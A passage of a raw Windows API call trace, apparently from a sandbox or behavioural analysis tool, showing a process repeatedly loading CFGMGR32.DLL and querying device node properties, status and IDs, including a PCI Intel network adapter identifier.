returned 1 [0198.345] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.345] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.346] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.347] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.349] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0198.349] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0198.349] malloc (_Size=0x48) returned 0x196ef0fbe50 [0198.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5713747b, dwHighDateTime=0x1d9eb0c)) [0198.349] SetEvent (hEvent=0x248) returned 1 [0198.355] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.356] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.358] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.365] malloc (_Size=0x18) returned 0x196ef0d1980 [0198.366] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0198.781] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0198.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x575633f6, dwHighDateTime=0x1d9eb0c)) [0198.782] SetEvent (hEvent=0x248) returned 1 [0198.787] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.787] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.790] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0198.790] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0198.793] malloc (_Size=0x48) returned 0x196ef0fb590 [0198.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57589a4c, dwHighDateTime=0x1d9eb0c)) [0198.793] SetEvent (hEvent=0x248) returned 1 [0198.796] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.798] malloc (_Size=0x18) returned 0x196ef0d1b40 [0198.799] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2f, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0198.799] malloc (_Size=0x48) returned 0x196ef0fb220 [0198.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x57589a4c, dwHighDateTime=0x1d9eb0c)) [0198.799] SetEvent (hEvent=0x248) returned 1 [0198.803] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.805] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0198.806] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2f, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0198.806] malloc (_Size=0x48) returned 0x196ef0fc080 [0198.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.806] SetEvent (hEvent=0x248) returned 1 [0198.808] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.808] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.809] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.810] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.811] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.811] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0198.812] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0198.812] malloc (_Size=0x48) returned 0x196ef0fbef0 [0198.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.812] SetEvent (hEvent=0x248) returned 1 [0198.816] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.816] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.816] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.817] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.818] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.818] malloc (_Size=0x18) returned 0x196ef0d19a0 [0198.818] CM_Get_Device_IDA (in: dnDevInst=0x30, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_10D3&SUBSYS_00008086&REV_00\\3&11583659&0&30") returned 0x0 [0198.819] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0198.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x575afb40, dwHighDateTime=0x1d9eb0c)) [0198.819] SetEvent (hEvent=0x248) returned 1 [0198.821] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0198.821] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0198.822] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0198.823] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0198.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0198.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0198.824] malloc (_Size=0x18) returned 0x196ef0d2060 [0198.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0198.824] malloc (_Size=0x124) returned 0x196ef0d6890 [0198.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0198.825] free (_Block=0x196ef0d6890) [0198.825] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0198.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x575d5bdb, dwHighDateTime=0x1d9eb0c)) [0198.825] SetEvent (hEvent=0x248) returned 1 [0199.001] malloc (_Size=0x18) returned 0x196ef0d1b40 [0199.001] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.001] free (_Block=0x196ef0d1b40) [0199.001] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0199.001] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.001] free (_Block=0x196ef0d1fa0) [0199.001] malloc (_Size=0x18) returned 0x196ef0d2060 [0199.001] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.001] free (_Block=0x196ef0d2060) [0199.001] malloc (_Size=0x18) returned 0x196ef0d1d00 [0199.001] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.001] free (_Block=0x196ef0d1d00) [0199.001] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856a60 [0199.001] 